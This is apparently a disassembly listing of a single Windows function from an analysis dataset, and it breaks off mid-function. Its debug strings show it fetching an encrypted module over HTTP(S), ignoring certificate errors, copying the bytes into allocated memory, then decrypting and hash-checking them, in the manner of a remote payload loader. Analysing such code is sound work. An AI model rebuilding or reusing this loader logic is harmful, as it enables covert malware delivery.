Function at 0x1400031fc
Capabilities:
Check http status code

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x4d8
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x7c], 1
mov dword [rsp + 0x50], 0x4600300
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x1c0]
call fcn.140013170
mov dword [rsp + 0x1c0], 0x68
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0x1d8], rax
mov dword [rsp + 0x1e0], 0x104
lea rax, [rsp + 0x230]
mov qword [rsp + 0x208], rax
mov dword [rsp + 0x210], 0x104
lea rax, [rsp + 0x340]
mov qword [rsp + 0x1e8], rax
mov dword [rsp + 0x1f0], 0x40
lea rax, [rsp + 0x380]
mov qword [rsp + 0x1f8], rax
mov dword [rsp + 0x200], 0x40
mov rax, qword [rsp + 0x4e0]
add rax, 0x924
lea r9, [rsp + 0x1c0]
mov r8d, 0x10000000
xor edx, edx
mov rcx, rax
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x148]
test eax, eax
jne 0x140003392
mov edx, 0x5c
lea rcx, [0x140039ba0]
call fcn.140013d88
test rax, rax
je 0x140003330
mov edx, 0x5c
lea rcx, [0x140039be0]
call fcn.140013d88
inc rax
mov qword [rsp + 0xa8], rax
jmp 0x14000333f
lea rax, [0x140039c20]
mov qword [rsp + 0xa8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140039b70]
mov qword [rsp + 0x20], rcx
mov r9d, 0x43
mov r8, qword [rsp + 0xa8]
lea rdx, [0x140039b88]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.InternetCrackUrl
mov rcx, rax
call fcn.140011a10
xor eax, eax
jmp 0x140004a94
cmp dword [rsp + 0x1d4], 4
jne 0x1400033a6
mov dword [rsp + 0x74], 1
jmp 0x1400033ae
mov dword [rsp + 0x74], 0
mov eax, dword [rsp + 0x74]
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0
je 0x1400033dd
mov eax, dword [rsp + 0x50]
bts eax, 0x17
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x7c], 0
je 0x1400033dd
mov eax, dword [rsp + 0x50]
or eax, 0x3000
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x150]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
jne 0x140003417
xor eax, eax
jmp 0x140004a94
mov edx, 0x5c
lea rcx, [0x140039c90]
call fcn.140013d88
test rax, rax
je 0x14000344b
mov edx, 0x5c
lea rcx, [0x140039cd0]
call fcn.140013d88
inc rax
mov qword [rsp + 0xb0], rax
jmp 0x14000345a
lea rax, [0x140039d10]
mov qword [rsp + 0xb0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140039c78]
mov qword [rsp + 0x20], rcx
mov r9d, 0x5a
mov r8, qword [rsp + 0xb0]
lea rdx, [0x140039d50]
mov rcx, rax
call fcn.140011a10
cmp dword [rsp + 0x68], 0
je 0x1400034a5
lea rax, str.HTTPS
mov qword [rsp + 0xb8], rax
jmp 0x1400034b4
lea rax, str.HTTP
mov qword [rsp + 0xb8], rax
mov ecx, 2
call fcn.1400154c4
lea r9, [rsp + 0x3c0]
mov r8, qword [rsp + 0xb8]
lea rdx, str.Creating__s_connection_for__s
mov rcx, rax
call fcn.140011a10
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
movzx r8d, word [rsp + 0x1e4]
lea rdx, [rsp + 0x3c0]
mov rcx, qword [rsp + 0x98]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x158]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
je 0x1400046cb
cmp dword [rsp + 0x210], 0
jne 0x14000356c
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x230], 0x2f
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x230], 0
mov edx, 0x5c
lea rcx, [0x140039db0]
call fcn.140013d88
test rax, rax
je 0x1400035a0
mov edx, 0x5c
lea rcx, [0x140039df0]
call fcn.140013d88
inc rax
mov qword [rsp + 0xc0], rax
jmp 0x1400035af
lea rax, [0x140039e30]
mov qword [rsp + 0xc0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140039d98]
mov qword [rsp + 0x20], rcx
mov r9d, 0x65
mov r8, qword [rsp + 0xc0]
lea rdx, [0x140039e70]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea r8, [rsp + 0x230]
lea rdx, str.Opening_GET_request_for__s
mov rcx, rax
call fcn.140011a10
mov qword [rsp + 0x38], 0
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x230]
xor edx, edx
mov rcx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x180]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x140004626
cmp dword [rsp + 0x68], 0
je 0x140003741
mov eax, dword [rsp + 0x50]
and eax, 0x1000
test eax, eax
je 0x140003741
mov dword [rsp + 0x198], 4
mov dword [rsp + 0x80], 0x3380
mov edx, 0x5c
lea rcx, [0x140039ec0]
call fcn.140013d88
test rax, rax
je 0x1400036c0
mov edx, 0x5c
lea rcx, [0x140039f00]
call fcn.140013d88
inc rax
mov qword [rsp + 0xc8], rax
jmp 0x1400036cf
lea rax, [0x140039f40]
mov qword [rsp + 0xc8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140039ea8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x78
mov r8, qword [rsp + 0xc8]
lea rdx, [0x140039f80]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Setting_option_to_ignore_invalid_certificates
mov rcx, rax
call fcn.140011a10
mov r9d, 4
lea r8, [rsp + 0x80]
mov edx, 0x1f
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x160]
cmp dword [rsp + 0x1f0], 0
je 0x1400038ac
mov edx, 0x5c
lea rcx, [0x140039fe0]
call fcn.140013d88
test rax, rax
je 0x140003783
mov edx, 0x5c
lea rcx, [0x14003a020]
call fcn.140013d88
inc rax
mov qword [rsp + 0xd0], rax
jmp 0x140003792
lea rax, [0x14003a060]
mov qword [rsp + 0xd0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140039fc8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x83
mov r8, qword [rsp + 0xd0]
lea rdx, [0x14003a0a0]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0x1e8]
lea rdx, str.Using_username_:__s
mov rcx, rax
call fcn.140011a10
mov r9d, dword [rsp + 0x1f0]
mov r8, qword [rsp + 0x1e8]
mov edx, 0x1c
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x160]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x1400038ac
mov edx, 0x5c
lea rcx, [0x14003a100]
call fcn.140013d88
test rax, rax
je 0x140003851
mov edx, 0x5c
lea rcx, [0x14003a140]
call fcn.140013d88
inc rax
mov qword [rsp + 0xd8], rax
jmp 0x140003860
lea rax, [0x14003a180]
mov qword [rsp + 0xd8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003a0d0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x8a
mov r8, qword [rsp + 0xd8]
lea rdx, [0x14003a0e8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Error_with_InternetSetOption_INTERNET_OPTION_USERNAME_
mov rcx, rax
call fcn.140011a10
cmp dword [rsp + 0x200], 0
je 0x140003a17
mov edx, 0x5c
lea rcx, [0x14003a210]
call fcn.140013d88
test rax, rax
je 0x1400038ee
mov edx, 0x5c
lea rcx, [0x14003a250]
call fcn.140013d88
inc rax
mov qword [rsp + 0xe0], rax
jmp 0x1400038fd
lea rax, [0x14003a290]
mov qword [rsp + 0xe0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003a1f8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x90
mov r8, qword [rsp + 0xe0]
lea rdx, [0x14003a2d0]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0x1f8]
lea rdx, str.Using_password_:__s
mov rcx, rax
call fcn.140011a10
mov r9d, dword [rsp + 0x200]
mov r8, qword [rsp + 0x1f8]
mov edx, 0x1d
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x160]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x140003a17
mov edx, 0x5c
lea rcx, [0x14003a330]
call fcn.140013d88
test rax, rax
je 0x1400039bc
mov edx, 0x5c
lea rcx, [0x14003a370]
call fcn.140013d88
inc rax
mov qword [rsp + 0xe8], rax
jmp 0x1400039cb
lea rax, [0x14003a3b0]
mov qword [rsp + 0xe8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003a300]
mov qword [rsp + 0x20], rcx
mov r9d, 0x96
mov r8, qword [rsp + 0xe8]
lea rdx, [0x14003a318]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Error_with_InternetSetOption_INTERNET_OPTION_PASSWORD_
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x14003a440]
call fcn.140013d88
test rax, rax
je 0x140003a4b
mov edx, 0x5c
lea rcx, [0x14003a480]
call fcn.140013d88
inc rax
mov qword [rsp + 0xf0], rax
jmp 0x140003a5a
lea rax, [0x14003a4c0]
mov qword [rsp + 0xf0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003a428]
mov qword [rsp + 0x20], rcx
mov r9d, 0x9a
mov r8, qword [rsp + 0xf0]
lea rdx, [0x14003a500]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Sending_request
mov rcx, rax
call fcn.140011a10
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x188]
test eax, eax
je 0x1400043a0
mov dword [rsp + 0x70], 4
mov dword [rsp + 0x58], 0
mov edx, 0x5c
lea rcx, [0x14003a540]
call fcn.140013d88
test rax, rax
je 0x140003b15
mov edx, 0x5c
lea rcx, [0x14003a580]
call fcn.140013d88
inc rax
mov qword [rsp + 0xf8], rax
jmp 0x140003b24
lea rax, [0x14003a5c0]
mov qword [rsp + 0xf8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003a528]
mov qword [rsp + 0x20], rcx
mov r9d, 0x9f
mov r8, qword [rsp + 0xf8]
lea rdx, [0x14003a600]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Querying_status_code
mov rcx, rax
call fcn.140011a10
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x58]
mov edx, 0x20000013
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x190]
test eax, eax
je 0x14000430c
mov edx, 0x5c
lea rcx, [0x14003a660]
call fcn.140013d88
test rax, rax
je 0x140003bd7
mov edx, 0x5c
lea rcx, [0x14003a6a0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x100], rax
jmp 0x140003be6
lea rax, [0x14003a6e0]
mov qword [rsp + 0x100], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003a630]
mov qword [rsp + 0x20], rcx
mov r9d, 0xa6
mov r8, qword [rsp + 0x100]
lea rdx, [0x14003a648]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x58]
lea rdx, str.Code_is__i
mov rcx, rax
call fcn.140011a10
cmp dword [rsp + 0x58], 0xc8
jne 0x140004273
mov dword [rsp + 0x70], 8
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x40]
mov edx, 0x20000005
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x190]
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x6c], 0
jne 0x14000402d
mov edx, 0x5c
lea rcx, [0x14003a760]
call fcn.140013d88
test rax, rax
je 0x140003cc3
mov edx, 0x5c
lea rcx, [0x14003a7a0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x108], rax
jmp 0x140003cd2
lea rax, [0x14003a7e0]
mov qword [rsp + 0x108], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003a730]
mov qword [rsp + 0x20], rcx
mov r9d, 0xb4
mov r8, qword [rsp + 0x108]
lea rdx, [0x14003a748]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Error_reading_content_length.
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0xe8]
cmp eax, 0x2f76
jne 0x140004028
mov edx, 0x5c
lea rcx, [0x14003a870]
call fcn.140013d88
test rax, rax
je 0x140003d6b
mov edx, 0x5c
lea rcx, [0x14003a8b0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x110], rax
jmp 0x140003d7a
lea rax, [0x14003a8f0]
mov qword [rsp + 0x110], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003a840]
mov qword [rsp + 0x20], rcx
mov r9d, 0xb6
mov r8, qword [rsp + 0x110]
lea rdx, [0x14003a858]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Retrieving_data_in_chunked_mode.
mov rcx, rax
call fcn.140011a10
mov dword [rsp + 0x40], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x54]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x178]
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x6c], 0
je 0x140003dfe
cmp dword [rsp + 0x54], 0
jne 0x140003e03
jmp 0x140004028
cmp qword [rsp + 0x48], 0
jne 0x140003ef4
mov eax, dword [rsp + 0x54]
mov qword [rsp + 0x1a0], rax
mov rcx, qword [rsp + 0x4e0]
call qword [rcx + 0xd8]
mov rcx, qword [rsp + 0x1a0]
mov r8, rcx
mov edx, 1
mov rcx, rax
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0xc8]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140003eef
mov edx, 0x5c
lea rcx, [0x14003a970]
call fcn.140013d88
test rax, rax
je 0x140003e8f
mov edx, 0x5c
lea rcx, [0x14003a9b0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x118], rax
jmp 0x140003e9e
lea rax, [0x14003a9f0]
mov qword [rsp + 0x118], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003a958]
mov qword [rsp + 0x20], rcx
mov r9d, 0xc6
mov r8, qword [rsp + 0x118]
lea rdx, [0x14003aa30]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, [0x14003aa48]
mov rcx, rax
call fcn.140011a10
jmp 0x140004028
jmp 0x140003fe0
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
mov eax, eax
mov qword [rsp + 0x1a8], rax
mov rcx, qword [rsp + 0x4e0]
call qword [rcx + 0xd8]
mov rcx, qword [rsp + 0x1a8]
mov r9, rcx
mov r8, qword [rsp + 0x48]
mov edx, 1
mov rcx, rax
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0xd0]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140003fe0
mov edx, 0x5c
lea rcx, [0x14003aa70]
call fcn.140013d88
test rax, rax
je 0x140003f83
mov edx, 0x5c
lea rcx, [0x14003aab0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x120], rax
jmp 0x140003f92
lea rax, [0x14003aaf0]
mov qword [rsp + 0x120], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003aa58]
mov qword [rsp + 0x20], rcx
mov r9d, 0xd1
mov r8, qword [rsp + 0x120]
lea rdx, [0x14003ab30]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.HeapReAlloc
mov rcx, rax
call fcn.140011a10
jmp 0x140004028
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
lea r9, [rsp + 0x78]
mov r8d, dword [rsp + 0x54]
mov rdx, rax
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x168]
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140003dce
jmp 0x14000426e
mov edx, 0x5c
lea rcx, [0x14003ab70]
call fcn.140013d88
test rax, rax
je 0x140004061
mov edx, 0x5c
lea rcx, [0x14003abb0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x128], rax
jmp 0x140004070
lea rax, [0x14003abf0]
mov qword [rsp + 0x128], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003ab58]
mov qword [rsp + 0x20], rcx
mov r9d, 0xdd
mov r8, qword [rsp + 0x128]
lea rdx, [0x14003ac30]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x40]
lea rdx, str.Retrieving__ld_bytes_of_data_in_single_read.
mov rcx, rax
call fcn.140011a10
cmp dword [rsp + 0x40], 0
je 0x14000426e
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x1b0], rax
mov rcx, qword [rsp + 0x4e0]
call qword [rcx + 0xd8]
mov rcx, qword [rsp + 0x1b0]
mov r8, rcx
mov edx, 1
mov rcx, rax
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0xc8]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x1400041df
mov dword [rsp + 0x78], 0
mov edx, 0x5c
lea rcx, [0x14003ac90]
call fcn.140013d88
test rax, rax
je 0x140004154
mov edx, 0x5c
lea rcx, [0x14003acd0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x130], rax
jmp 0x140004163
lea rax, [0x14003ad10]
mov qword [rsp + 0x130], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003ac78]
mov qword [rsp + 0x20], rcx
mov r9d, 0xe5
mov r8, qword [rsp + 0x130]
lea rdx, [0x14003ad50]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x40]
lea rdx, str.Reading__i_bytes...
mov rcx, rax
call fcn.140011a10
lea r9, [rsp + 0x78]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x168]
mov dword [rsp + 0x44], eax
jmp 0x14000426e
mov edx, 0x5c
lea rcx, [0x14003adb0]
call fcn.140013d88
test rax, rax
je 0x140004213
mov edx, 0x5c
lea rcx, [0x14003adf0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x138], rax
jmp 0x140004222
lea rax, [0x14003ae30]
mov qword [rsp + 0x138], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003ad80]
mov qword [rsp + 0x20], rcx
mov r9d, 0xe9
mov r8, qword [rsp + 0x138]
lea rdx, [0x14003ad98]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.HeapAlloc
mov rcx, rax
call fcn.140011a10
jmp 0x140004307
mov edx, 0x5c
lea rcx, [0x14003aeb0]
call fcn.140013d88
test rax, rax
je 0x1400042a7
mov edx, 0x5c
lea rcx, [0x14003aef0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x140], rax
jmp 0x1400042b6
lea rax, [0x14003af30]
mov qword [rsp + 0x140], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003ae80]
mov qword [rsp + 0x20], rcx
mov r9d, 0xee
mov r8, qword [rsp + 0x140]
lea rdx, [0x14003ae98]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x58]
lea rdx, str.HTTP_response_was__i
mov rcx, rax
call fcn.140011a10
jmp 0x14000439b
mov edx, 0x5c
lea rcx, [0x14003afa0]
call fcn.140013d88
test rax, rax
je 0x140004340
mov edx, 0x5c
lea rcx, [0x14003afe0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x148], rax
jmp 0x14000434f
lea rax, [0x14003b020]
mov qword [rsp + 0x148], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003af88]
mov qword [rsp + 0x20], rcx
mov r9d, 0xf1
mov r8, qword [rsp + 0x148]
lea rdx, [0x14003b060]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.HttpQueryInfo
mov rcx, rax
call fcn.140011a10
jmp 0x14000442f
mov edx, 0x5c
lea rcx, [0x14003b0a0]
call fcn.140013d88
test rax, rax
je 0x1400043d4
mov edx, 0x5c
lea rcx, [0x14003b0e0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x150], rax
jmp 0x1400043e3
lea rax, [0x14003b120]
mov qword [rsp + 0x150], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003b088]
mov qword [rsp + 0x20], rcx
mov r9d, 0xf4
mov r8, qword [rsp + 0x150]
lea rdx, [0x14003b160]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.HttpSendRequest
mov rcx, rax
call fcn.140011a10
cmp qword [rsp + 0x48], 0
je 0x140004584
cmp dword [rsp + 0x40], 0
je 0x140004584
mov edx, 0x5c
lea rcx, [0x14003b1a0]
call fcn.140013d88
test rax, rax
je 0x14000447a
mov edx, 0x5c
lea rcx, [0x14003b1e0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x158], rax
jmp 0x140004489
lea rax, [0x14003b220]
mov qword [rsp + 0x158], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003b188]
mov qword [rsp + 0x20], rcx
mov r9d, 0xf8
mov r8, qword [rsp + 0x158]
lea rdx, [0x14003b260]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x40]
lea rdx, str.Copying__i_bytes_to_VM
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x40]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x48]
mov rcx, qword [rsp + 0x4e0]
mov qword [rcx + 0xd60], rax
mov rax, qword [rsp + 0x4e0]
cmp qword [rax + 0xd60], 0
je 0x140004542
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x4e0]
mov rcx, qword [rax + 0xd60]
call fcn.1400130fc
mov dword [rsp + 0x44], 1
jmp 0x14000454a
mov dword [rsp + 0x44], 0
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov rcx, qword [rsp + 0x48]
call fcn.140013170
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0xd8]
mov r8, qword [rsp + 0x48]
mov edx, 1
mov rcx, rax
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0xe0]
mov edx, 0x5c
lea rcx, [0x14003b2c0]
call fcn.140013d88
test rax, rax
je 0x1400045b8
mov edx, 0x5c
lea rcx, [0x14003b300]
call fcn.140013d88
inc rax
mov qword [rsp + 0x160], rax
jmp 0x1400045c7
lea rax, [0x14003b340]
mov qword [rsp + 0x160], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003b290]
mov qword [rsp + 0x20], rcx
mov r9d, 0x10b
mov r8, qword [rsp + 0x160]
lea rdx, [0x14003b2a8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Closing_request
mov rcx, rax
call fcn.140011a10
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x170]
mov edx, 0x5c
lea rcx, [0x14003b3c0]
call fcn.140013d88
test rax, rax
je 0x14000465a
mov edx, 0x5c
lea rcx, [0x14003b400]
call fcn.140013d88
inc rax
mov qword [rsp + 0x168], rax
jmp 0x140004669
lea rax, [0x14003b440]
mov qword [rsp + 0x168], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003b390]
mov qword [rsp + 0x20], rcx
mov r9d, 0x10e
mov r8, qword [rsp + 0x168]
lea rdx, [0x14003b3a8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Closing_connection_handle
mov rcx, rax
call fcn.140011a10
mov rcx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x170]
mov edx, 0x5c
lea rcx, [0x14003b4d0]
call fcn.140013d88
test rax, rax
je 0x1400046ff
mov edx, 0x5c
lea rcx, [0x14003b510]
call fcn.140013d88
inc rax
mov qword [rsp + 0x170], rax
jmp 0x14000470e
lea rax, [0x14003b550]
mov qword [rsp + 0x170], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003b4a0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x111
mov r8, qword [rsp + 0x170]
lea rdx, [0x14003b4b8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Closing_internet_handle
mov rcx, rax
call fcn.140011a10
mov rcx, qword [rsp + 0x98]
mov rax, qword [rsp + 0x4e0]
call qword [rax + 0x170]
cmp dword [rsp + 0x44], 0
je 0x140004a90
mov rax, qword [rsp + 0x4e0]
cmp dword [rax + 0x234], 3
jne 0x140004a90
mov rax, qword [rsp + 0x4e0]
mov rax, qword [rax + 0xd60]
mov qword [rsp + 0x88], rax
mov edx, 0x5c
lea rcx, [0x14003b5c0]
call fcn.140013d88
test rax, rax
je 0x1400047db
mov edx, 0x5c
lea rcx, [0x14003b600]
call fcn.140013d88
inc rax
mov qword [rsp + 0x178], rax
jmp 0x1400047ea
lea rax, [0x14003b640]
mov qword [rsp + 0x178], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003b5a8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x117
mov r8, qword [rsp + 0x178]
lea rdx, [0x14003b680]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x4e0]
mov r8, qword [rcx + 0xd58]
lea rdx, str.Decrypting__lli_bytes_of_module
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x4e0]
add rax, 0xd48
mov rcx, qword [rsp + 0x4e0]
add rcx, 0xd38
mov rdx, qword [rsp + 0x4e0]
mov r9d, dword [rdx + 0xd58]
mov r8, qword [rsp + 0x88]
mov rdx, rax
call fcn.140012b70
mov edx, 0x5c
lea rcx, [0x14003b6d0]
call fcn.140013d88
test rax, rax
je 0x1400048b5
mov edx, 0x5c
lea rcx, [0x14003b710]
call fcn.140013d88
inc rax
mov qword [rsp + 0x180], rax
jmp 0x1400048c4
lea rax, [0x14003b750]
mov qword [rsp + 0x180], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003b6b8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x11e
mov r8, qword [rsp + 0x180]
lea rdx, [0x14003b790]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Generating_hash_to_verify_decryption
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x4e0]
add rax, 0xc2c
mov rcx, qword [rsp + 0x4e0]
mov rdx, qword [rcx + 0x28]
mov rcx, rax
call fcn.140012564
mov qword [rsp + 0x190], rax
mov edx, 0x5c
lea rcx, [0x14003b800]
call fcn.140013d88
test rax, rax
je 0x14000496e
mov edx, 0x5c
lea rcx, [0x14003b840]
call fcn.140013d88
inc rax
mov qword [rsp + 0x188], rax
jmp 0x14000497d
lea rax, [0x14003b880]
mov qword [rsp + 0x188], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003b7d0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x121
mov r8, qword [rsp + 0x188]
lea rdx, [0x14003b7e8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r9, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x88]
mov r8, qword [rcx + 0x518]
lea rdx, str.Module_:__016llx__Result_:__016llx
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x88]
mov rax, qword [rax + 0x518]
cmp qword [rsp + 0x190], rax
je 0x140004a90
mov edx, 0x5c
lea rcx, [0x14003b900]
call fcn.140013d88
test rax, rax
je 0x140004a31
mov edx, 0x5c
lea rcx, [0x14003b940]
call fcn.140013d88
inc rax
mov qword [rsp + 0xa0], rax
